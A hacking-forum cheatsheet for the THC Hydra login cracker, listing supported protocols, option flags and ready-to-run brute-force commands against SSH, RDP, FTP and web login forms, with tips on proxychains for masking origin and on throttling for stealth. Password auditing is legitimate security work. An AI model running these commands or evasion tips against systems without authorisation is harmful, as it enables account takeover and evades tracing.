Cracking 🔓 THC Hydra - Cheatsheet, Tips and Useful Commands

[dEEpEst]

THC Hydra - Cheatsheet, Tips and Useful Commands


This post was created for the Hack Tools Dark Community.

THC Hydra is one of the most popular and powerful login crackers, supporting numerous protocols.
Below is a collection of usage examples, techniques, and configuration tips to help you use Hydra effectively in red team operations and password auditing.

Disclaimer: This content is for educational purposes only and must be used exclusively in authorized environments.
Neither the author nor the HTDark community is responsible for any misuse.


What is THC Hydra?
Hydra is a fast and flexible brute-force tool that supports many services, such as SSH, FTP, HTTP, SMB, RDP, MySQL, and more.
It can perform dictionary attacks using usernames and passwords and works well in automated workflows.

Basic Syntax

hydra -L <user_list> -P <pass_list> <target> <protocol>

Common Protocols

• ssh
• ftp
• http / https / http-post-form
• smtp / smtps
• pop3 / imap
• rdp
• smb
• mysql / postgres / mssql
• telnet / vnc / snmp
• ldap / ldap2

Examples

Brute-force SSH login:

hydra -L users.txt -P passwords.txt ssh://192.168.1.10

HTTP POST login (web form):

hydra -L users.txt -P passwords.txt 192.168.1.10 http-post-form "/login.php:username=^USER^&password=^PASS^:Invalid"

RDP Brute-force:

hydra -L users.txt -P passwords.txt rdp://192.168.1.10

FTP Brute-force with a single user:

hydra -l admin -P passwords.txt ftp://192.168.1.10

Useful Options

• -L = user list
• -l = single user
• -P = password list
• -p = single password
• -s = custom port
• -V = verbose (shows each attempt)
• -t = threads (e.g. -t 16)
• -f = stop after first valid credentials
• -o = save output to a file

Tips & Tricks

• Test before you launch: Try with a few usernames and passwords before large lists.
• Identify login failure messages: Use browser dev tools to find the right response string in HTTP forms.
• Combine with proxychains: To mask origin and rotate IPs.
• Use `-F` to stop after the first success for a target.
  [*]Throttle speed if needed: Adjust `-t` for stability and stealth.
  [*]Hydra GUI (xHydra): For quick setups and visual learners, install `xhydra`.

Real-World Example: HTTP POST Attack

hydra -L users.txt -P passwords.txt 192.168.1.20 http-post-form \
"/admin/login.php:username=^USER^&password=^PASS^:Login failed"

Installation (Debian/Ubuntu)

sudo apt update && sudo apt install hydra

Recommended Wordlists

• This link is hidden for visitors. Please Log in or register now.
• This link is hidden for visitors. Please Log in or register now.
• /usr/share/wordlists/rockyou.txt (included in Kali)

---

Do you prefer Hydra over Medusa or Ncrack?
What advanced tricks or setups have you used in real scenarios?

Share your experience and join the discussion!